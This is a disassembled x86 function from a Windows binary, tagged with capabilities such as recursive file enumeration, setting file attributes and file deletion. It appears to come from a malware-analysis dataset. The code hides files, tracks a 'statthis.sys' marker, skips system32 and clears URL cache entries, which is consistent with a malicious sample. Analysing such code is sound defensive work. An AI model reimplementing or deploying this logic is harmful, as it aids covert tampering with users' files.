Function at 0x404a8c
Capabilities:
Delete file
Enumerate files on windows
Enumerate files recursively
Set file attributes

Disassembly:
mov eax, 0x4163b0
call fcn.00409e24
sub esp, 0x334
mov eax, dword [0x41c390]
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
push 0xf
pop ebx
xor esi, esi
push esi
lea ecx, [ebp - 0x4c]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x200], esi
mov dword [ebp - 0x34], ebx
call fcn.00401d7f
push esi
lea ecx, [ebp - 0x68]
mov dword [ebp - 4], esi
mov dword [ebp - 0x50], ebx
call fcn.00401d7f
push esi
lea ecx, [ebp - 0x30]
mov dword [ebp - 0x18], ebx
call fcn.00401d7f
push esi
lea ecx, [ebp - 0x84]
mov dword [ebp - 0x6c], ebx
call fcn.00401d7f
push esi
lea ecx, [ebp - 0xa0]
mov dword [ebp - 0x88], ebx
call fcn.00401d7f
push dword [ebp + 8]
lea ecx, [ebp - 0x68]
mov byte [ebp - 4], 5
call fcn.004034d6
push esi
push 0x417694
lea ecx, [ebp - 0x68]
call fcn.00401bed
push eax
push esi
lea eax, [ebp - 0x21c]
push eax
lea ecx, [ebp - 0x68]
call fcn.004034b8
push 0xffffffffffffffff
push esi
push eax
lea ecx, [ebp - 0x68]
mov byte [ebp - 4], 6
call fcn.00403049
push esi
push 1
lea ecx, [ebp - 0x21c]
mov byte [ebp - 4], 5
call fcn.00402059
push 0x41f810
lea ecx, [ebp - 0x4c]
call fcn.004034d6
push 0x4174b0
lea ecx, [ebp - 0x4c]
call fcn.00403316
push 0xffffffffffffffff
push esi
lea eax, [ebp - 0x68]
push eax
lea ecx, [ebp - 0x4c]
call fcn.004029c2
cmp dword [ebp - 0x34], 0x10
mov eax, dword [ebp - 0x48]
jae 0x404b82
lea eax, [ebp - 0x48]
push eax
call fcn.00401076
test al, al
pop ecx
jne 0x404ba0
cmp dword [ebp - 0x34], 0x10
mov eax, dword [ebp - 0x48]
jae 0x404b99
lea eax, [ebp - 0x48]
push eax
call fcn.00415795
pop ecx
cmp dword [ebp - 0x34], 0x10
mov eax, dword [ebp - 0x48]
jae 0x404bac
lea eax, [ebp - 0x48]
mov edi, dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 6
push eax
call edi
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x1f8], esp
push 0x4174b0
call fcn.00403942
sub esp, 0x1c
lea eax, [ebp - 0x68]
mov ecx, esp
mov dword [ebp - 0x1fc], esp
push eax
mov byte [ebp - 4], 7
call fcn.00403492
mov byte [ebp - 4], 5
call fcn.00402f7f
add esp, 0x38
cmp eax, esi
jne 0x404c7d
push str._statthis.sys
lea ecx, [ebp - 0x4c]
call fcn.00403316
cmp dword [ebp - 0x34], 0x10
mov eax, dword [ebp - 0x48]
jae 0x404c11
lea eax, [ebp - 0x48]
push 1
push 0x1b6
push 2
push eax
lea ecx, [ebp - 0x340]
call fcn.0040425b
push dword [ebp + 8]
lea eax, [ebp - 0x340]
push eax
mov byte [ebp - 4], 8
call fcn.00402ca0
pop ecx
pop ecx
lea ecx, [ebp - 0x340]
call fcn.00403964
cmp dword [ebp - 0x34], 0x10
mov eax, dword [ebp - 0x48]
jae 0x404c52
lea eax, [ebp - 0x48]
push 6
push eax
call edi
lea ecx, [ebp - 0x2e0]
mov byte [ebp - 4], 5
call fcn.004042fb
lea ecx, [ebp - 0x2e0]
mov dword [ebp - 0x2e0], 0x4172f4
call fcn.004085ec
jmp 0x404cbe
push esi
push 0x4174b0
lea ecx, [ebp - 0x68]
call fcn.00401bed
push eax
push esi
lea eax, [ebp - 0x21c]
push eax
lea ecx, [ebp - 0x68]
call fcn.004034b8
push 0xffffffffffffffff
push esi
push eax
lea ecx, [ebp - 0x68]
mov byte [ebp - 4], 9
call fcn.00403049
push esi
push 1
lea ecx, [ebp - 0x21c]
mov byte [ebp - 4], 5
call fcn.00402059
lea eax, [ebp - 0x21c]
push 0x41e320
push eax
call fcn.00403bec
pop ecx
pop ecx
push 0xffffffffffffffff
push esi
push eax
lea ecx, [ebp - 0x30]
mov byte [ebp - 4], 0xa
call fcn.00403049
push esi
push 1
lea ecx, [ebp - 0x21c]
mov byte [ebp - 4], 5
call fcn.00402059
push 0xffffffffffffffff
push esi
mov edi, str._DLD_
push edi
lea ecx, [ebp - 0x30]
call fcn.00401ba0
add eax, 5
push eax
lea eax, [ebp - 0x21c]
push eax
lea ecx, [ebp - 0x30]
call fcn.004034b8
push 0xffffffffffffffff
push esi
push eax
lea ecx, [ebp - 0x30]
mov byte [ebp - 4], 0xb
call fcn.00403049
push esi
push 1
lea ecx, [ebp - 0x21c]
mov byte [ebp - 4], 5
call fcn.00402059
push esi
push edi
lea ecx, [ebp - 0x30]
call fcn.00401ba0
push eax
push esi
lea eax, [ebp - 0x21c]
push eax
lea ecx, [ebp - 0x30]
call fcn.004034b8
or edi, 0xffffffff
push edi
push esi
push eax
lea ecx, [ebp - 0x30]
mov byte [ebp - 4], 0xc
call fcn.00403049
push esi
push 1
lea ecx, [ebp - 0x21c]
mov byte [ebp - 4], 5
call fcn.00402059
push edi
push edi
push 0x417678
lea ecx, [ebp - 0x30]
call fcn.00401c0e
push eax
lea eax, [ebp - 0x21c]
push eax
lea ecx, [ebp - 0x30]
call fcn.004034b8
push edi
push esi
mov byte [ebp - 4], 0xd
push eax
lea ecx, [ebp - 0x30]
call fcn.00403049
push esi
push 1
lea ecx, [ebp - 0x21c]
mov byte [ebp - 4], 5
call fcn.00402059
push 0xffffffffffffffff
mov edi, 0x417674
push edi
lea ecx, [ebp - 0x30]
call fcn.00401c0e
push eax
push esi
push edi
lea ecx, [ebp - 0x30]
call fcn.00401ba0
inc eax
push eax
lea eax, [ebp - 0x21c]
push eax
lea ecx, [ebp - 0x30]
call fcn.004034b8
push 0xffffffffffffffff
push esi
push eax
lea ecx, [ebp - 0x30]
mov byte [ebp - 4], 0xe
call fcn.00403049
push esi
push 1
lea ecx, [ebp - 0x21c]
mov byte [ebp - 4], 5
call fcn.00402059
push esi
push edi
lea ecx, [ebp - 0x30]
call fcn.00401ba0
push eax
push esi
lea eax, [ebp - 0x21c]
push eax
lea ecx, [ebp - 0x30]
call fcn.004034b8
push 0xffffffffffffffff
push esi
push eax
lea ecx, [ebp - 0x30]
mov byte [ebp - 4], bl
call fcn.00403049
push esi
push 1
lea ecx, [ebp - 0x21c]
mov byte [ebp - 4], 5
call fcn.00402059
mov edi, 0x417670
or ebx, 0xffffffff
push esi
push edi
lea ecx, [ebp - 0x30]
call fcn.00401ba0
cmp eax, ebx
je 0x405593
push esi
push edi
lea ecx, [ebp - 0x30]
call fcn.00401ba0
push eax
push esi
lea eax, [ebp - 0x21c]
push eax
lea ecx, [ebp - 0x30]
call fcn.004034b8
push ebx
push esi
push eax
lea ecx, [ebp - 0x4c]
mov byte [ebp - 4], 0x10
call fcn.00403049
push esi
push 1
lea ecx, [ebp - 0x21c]
mov byte [ebp - 4], 5
call fcn.00402059
sub esp, 0x1c
lea eax, [ebp - 0x4c]
mov ecx, esp
mov dword [ebp - 0x1fc], esp
push eax
call fcn.00403492
lea eax, [ebp - 0x23c]
push eax
call fcn.00403b2b
add esp, 0x20
push ebx
push esi
push eax
lea ecx, [ebp - 0x4c]
mov byte [ebp - 4], 0x11
call fcn.00403049
push esi
push 1
lea ecx, [ebp - 0x23c]
mov byte [ebp - 4], 5
call fcn.00402059
cmp dword [ebp - 0x50], 0x10
mov ecx, dword [ebp - 0x64]
jae 0x404ee8
lea ecx, [ebp - 0x64]
cmp dword [ebp - 0x34], 0x10
mov eax, dword [ebp - 0x48]
jae 0x404ef4
lea eax, [ebp - 0x48]
push ecx
push eax
call fcn.0040af70
test eax, eax
pop ecx
pop ecx
jne 0x40554f
push dword [ebp + 8]
lea ecx, [ebp - 0x68]
call fcn.004034d6
push 0x41f810
lea ecx, [ebp - 0x4c]
call fcn.004034d6
mov ebx, 0x4174b0
push ebx
lea ecx, [ebp - 0x4c]
call fcn.00403316
push esi
push 0x417694
lea ecx, [ebp - 0x68]
call fcn.00401bed
push eax
push esi
lea eax, [ebp - 0x23c]
push eax
lea ecx, [ebp - 0x68]
call fcn.004034b8
push 0xffffffffffffffff
push esi
push eax
lea ecx, [ebp - 0x4c]
mov byte [ebp - 4], 0x15
call fcn.004029c2
push esi
push 1
lea ecx, [ebp - 0x23c]
mov byte [ebp - 4], 5
call fcn.00402059
push 0x41766c
lea ecx, [ebp - 0x4c]
call fcn.00403316
cmp dword [ebp - 0x34], 0x10
mov eax, dword [ebp - 0x48]
jae 0x404f85
lea eax, [ebp - 0x48]
lea ecx, [ebp - 0x1f4]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
push 0xffffffffffffffff
push esi
lea ecx, [ebp - 0x4c]
mov dword [ebp - 0x1f8], eax
call fcn.004020fe
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [ebp - 0x200], esi
jne 0x405541
cmp dword [ebp - 0x1f8], 0xffffffff
je 0x4054eb
push dword [ebp + 8]
lea ecx, [ebp - 0x4c]
call fcn.004034d6
push esi
push 0x417694
lea ecx, [ebp - 0x4c]
call fcn.00401bed
push eax
push esi
lea eax, [ebp - 0x23c]
push eax
lea ecx, [ebp - 0x4c]
call fcn.004034b8
push 0xffffffffffffffff
push esi
push eax
lea ecx, [ebp - 0x4c]
mov byte [ebp - 4], 0x16
call fcn.00403049
push esi
push 1
lea ecx, [ebp - 0x23c]
mov byte [ebp - 4], 5
call fcn.00402059
test byte [ebp - 0x1f4], 0x10
je 0x4050f8
lea eax, [ebp - 0x1c8]
push str.system32
push eax
call fcn.0040af70
test eax, eax
pop ecx
pop ecx
jne 0x4050ab
push 0xffffffffffffffff
push esi
lea eax, [ebp - 0x4c]
push eax
lea ecx, [ebp - 0x30]
call fcn.00403049
push str._system32:false:split
lea ecx, [ebp - 0x30]
call fcn.00403316
cmp dword [ebp - 0x18], 0x10
mov eax, dword [ebp - 0x2c]
jae 0x40505b
lea eax, [ebp - 0x2c]
push eax
call fcn.00404a8c
mov byte [ebp - 4], 0x17
pop ecx
lea ecx, [ebp - 0x30]
push 0x41f810
call fcn.004034d6
lea ecx, [ebp - 0x30]
push ebx
call fcn.00403316
push 0xffffffffffffffff
lea eax, [ebp - 0x4c]
push esi
lea ecx, [ebp - 0x30]
push eax
call fcn.004029c2
lea ecx, [ebp - 0x30]
push str._system32
call fcn.00403316
cmp dword [ebp - 0x18], 0x10
mov eax, dword [ebp - 0x2c]
jae 0x4050a4
lea eax, [ebp - 0x2c]
push eax
call fcn.004157c1
pop ecx
push 0x1f4
mov dword [ebp - 4], 5
call edi
lea eax, [ebp - 0x1f4]
push eax
push dword [ebp - 0x1f8]
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x404faa
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x12
jne 0x404faa
mov dword [ebp - 0x200], 1
jmp 0x404faa
push dword [ebp - 0x1d8]
mov eax, dword [ebp - 0x1d4]
push eax
lea eax, [ebp - 0xb4]
push str._I64u
push eax
mov byte [ebp - 4], 0x19
call fcn.00409847
lea eax, [ebp - 0xb4]
push eax
call fcn.0040a92e
add esp, 0x14
test eax, eax
jle 0x4050ab
lea eax, [ebp - 0x1c8]
push str.statthis.sys
push eax
call fcn.0040af70
test eax, eax
pop ecx
pop ecx
je 0x4050ab
push 0x41f810
lea ecx, [ebp - 0x68]
call fcn.004034d6
push ebx
lea ecx, [ebp - 0x68]
call fcn.00403316
push 0xffffffffffffffff
push esi
lea eax, [ebp - 0x4c]
push eax
lea ecx, [ebp - 0x68]
call fcn.004029c2
push ebx
lea ecx, [ebp - 0x68]
call fcn.00403316
lea eax, [ebp - 0x1c8]
push eax
lea ecx, [ebp - 0x68]
call fcn.00403316
lea eax, [ebp - 0xb4]
push eax
call fcn.0040a92e
cmp eax, dword [0x41c084]
pop ecx
lea ecx, [ebp - 0x30]
jle 0x40527a
push 0x41f810
call fcn.004034d6
push ebx
lea ecx, [ebp - 0x30]
call fcn.00403316
push 0xffffffffffffffff
push esi
lea eax, [ebp - 0x4c]
push eax
lea ecx, [ebp - 0x30]
call fcn.004029c2
push str._system32
lea ecx, [ebp - 0x30]
call fcn.00403316
xor eax, eax
inc eax
cmp dword [0x41fd3c], eax
jne 0x4051e8
push 0x1f4
call edi
jmp 0x4051d4
cmp dword [ebp - 0x18], 0x10
mov dword [0x41fd3c], eax
mov eax, dword [ebp - 0x2c]
jae 0x4051f9
lea eax, [ebp - 0x2c]
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x1fc], esp
push eax
call fcn.00403942
cmp dword [ebp - 0x50], 0x10
mov eax, dword [ebp - 0x64]
mov byte [ebp - 4], 0x1a
jae 0x40521a
lea eax, [ebp - 0x64]
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x220], esp
push eax
call fcn.00403942
mov byte [ebp - 4], 0x19
call fcn.00403de8
add esp, 0x38
push 0xffffffffffffffff
push esi
lea eax, [ebp - 0x4c]
push eax
lea ecx, [ebp - 0x30]
mov dword [0x41fd3c], esi
call fcn.00403049
push str._system32:false:split
lea ecx, [ebp - 0x30]
call fcn.00403316
cmp dword [ebp - 0x18], 0x10
mov eax, dword [ebp - 0x2c]
jae 0x405265
lea eax, [ebp - 0x2c]
push eax
call fcn.00404a8c
mov byte [ebp - 4], 0x1b
jmp 0x405065
push dword [ebp + 8]
call fcn.004034d6
push 0xffffffffffffffff
push 0xffffffffffffffff
push 0x417694
lea ecx, [ebp - 0x30]
call fcn.00401c0e
inc eax
push eax
lea eax, [ebp - 0x21c]
push eax
lea ecx, [ebp - 0x30]
call fcn.004034b8
push 0xffffffffffffffff
push esi
push eax
lea ecx, [ebp - 0x30]
mov byte [ebp - 4], 0x1d
call fcn.00403049
push esi
push 1
lea ecx, [ebp - 0x21c]
mov byte [ebp - 4], 0x19
call fcn.00402059
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x220], esp
push ebx
call fcn.00403942
sub esp, 0x1c
lea eax, [ebp - 0x4c]
mov ecx, esp
mov dword [ebp - 0x1fc], esp
push eax
mov byte [ebp - 4], 0x1e
call fcn.00403492
mov byte [ebp - 4], 0x19
call fcn.00402f7f
add esp, 0x38
cmp eax, esi
jbe 0x405344
push esi
push ebx
lea ecx, [ebp - 0x4c]
call fcn.00401bed
push eax
push esi
lea eax, [ebp - 0x290]
push eax
lea ecx, [ebp - 0x4c]
call fcn.004034b8
push 0xffffffffffffffff
push esi
push eax
lea ecx, [ebp - 0x4c]
mov byte [ebp - 4], 0x1f
call fcn.00403049
push esi
push 1
lea ecx, [ebp - 0x290]
mov byte [ebp - 4], 0x19
call fcn.00402059
jmp 0x405344
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x14
call edi
cmp dword [0x41fd30], 1
jne 0x405358
push 0x1f4
jmp 0x405346
push 0x41ee10
lea ecx, [ebp - 0x84]
call fcn.004034d6
push 0xffffffffffffffff
push esi
push 0x417620
lea ecx, [ebp - 0x84]
call fcn.00401bed
inc eax
inc eax
push eax
lea eax, [ebp - 0x2ac]
push eax
lea ecx, [ebp - 0x84]
call fcn.004034b8
push 0xffffffffffffffff
push esi
push eax
lea ecx, [ebp - 0x84]
mov byte [ebp - 4], 0x20
call fcn.00403049
push esi
push 1
lea ecx, [ebp - 0x2ac]
mov byte [ebp - 4], 0x19
call fcn.00402059
push 0xffffffffffffffff
push esi
mov ebx, 0x41761c
push ebx
lea ecx, [ebp - 0x84]
call fcn.00401bed
inc eax
push eax
lea eax, [ebp - 0x274]
push eax
lea ecx, [ebp - 0x84]
call fcn.004034b8
push 0xffffffffffffffff
push esi
push eax
lea ecx, [ebp - 0xa0]
mov byte [ebp - 4], 0x21
call fcn.00403049
push esi
push 1
lea ecx, [ebp - 0x274]
mov byte [ebp - 4], 0x19
call fcn.00402059
push esi
push ebx
lea ecx, [ebp - 0x84]
call fcn.00401bed
push eax
push esi
lea eax, [ebp - 0x258]
push eax
lea ecx, [ebp - 0x84]
call fcn.004034b8
push 0xffffffffffffffff
push esi
push eax
lea ecx, [ebp - 0x84]
mov byte [ebp - 4], 0x22
call fcn.00403049
push esi
push 1
lea ecx, [ebp - 0x258]
mov byte [ebp - 4], 0x19
call fcn.00402059
push 0x1388
call edi
cmp dword [ebp - 0x18], 0x10
mov ebx, dword [ebp - 0x2c]
jae 0x40545b
lea ebx, [ebp - 0x2c]
mov edi, dword [ebp - 0x48]
push 0x10
pop eax
cmp dword [ebp - 0x34], eax
jae 0x405469
lea edi, [ebp - 0x48]
cmp dword [ebp - 0x88], eax
mov edx, dword [ebp - 0x9c]
jae 0x40547d
lea edx, [ebp - 0x9c]
cmp dword [ebp - 0x6c], eax
mov ecx, dword [ebp - 0x80]
jae 0x405488
lea ecx, [ebp - 0x80]
cmp dword [ebp - 0x50], eax
mov eax, dword [ebp - 0x64]
jae 0x405493
lea eax, [ebp - 0x64]
push ebx
push edi
push 0x41d7a8
push edx
push ecx
push eax
lea eax, [ebp - 0x1c8]
push eax
call fcn.004045d5
add esp, 0x1c
cmp eax, esi
je 0x40533e
push 0x41ee10
call dword [sym.imp.WININET.dll_DeleteUrlCacheEntry]
push 0x41d9a8
call fcn.0040a92e
imul eax, eax, 0x3e8
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
pop ecx
push eax
call edi
mov ebx, 0x4174b0
jmp 0x4050ab
xor edi, edi
xor ebx, ebx
push esi
inc ebx
push ebx
lea ecx, [ebp - 0xa0]
call fcn.00402059
push esi
push ebx
lea ecx, [ebp - 0x84]
call fcn.00402059
push esi
push ebx
lea ecx, [ebp - 0x30]
call fcn.00402059
push esi
push ebx
lea ecx, [ebp - 0x68]
call fcn.00402059
push esi
push ebx
lea ecx, [ebp - 0x4c]
call fcn.00402059
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov ecx, dword [ebp - 0x14]
mov eax, edi
call fcn.004098d0
pop edi
pop esi
pop ebx
leave
ret
push dword [ebp - 0x1f8]
call dword [sym.imp.KERNEL32.dll_FindClose]
jmp 0x4054eb
push ebx
push esi
push edi
lea ecx, [ebp - 0x30]
call fcn.00401ba0
inc eax
push eax
lea eax, [ebp - 0x258]
push eax
lea ecx, [ebp - 0x30]
call fcn.004034b8
push ebx
push esi
push eax
lea ecx, [ebp - 0x30]
mov byte [ebp - 4], 0x12
call fcn.00403049
push esi
push 1
lea ecx, [ebp - 0x258]
mov byte [ebp - 4], 5
call fcn.00402059
jmp 0x404e4a
push 0x41f810
lea ecx, [ebp - 0x30]
mov byte [ebp - 4], 0x13
call fcn.004034d6
push 0x4174b0
lea ecx, [ebp - 0x30]
call fcn.00403316
push 0xffffffffffffffff
push esi
lea eax, [ebp - 0x68]
push eax
lea ecx, [ebp - 0x30]
call fcn.004029c2
push str._statthis.sys
lea ecx, [ebp - 0x30]
call fcn.00403316
cmp dword [ebp - 0x18], 0x10
mov eax, dword [ebp - 0x2c]
jae 0x4055d9
lea eax, [ebp - 0x2c]
push eax
call fcn.00401076
cmp al, 1
pop ecx
jne 0x4055f7
cmp dword [ebp - 0x18], 0x10
mov eax, dword [ebp - 0x2c]
jae 0x4055f0
lea eax, [ebp - 0x2c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
xor edi, edi
inc edi
jmp 0x4054ed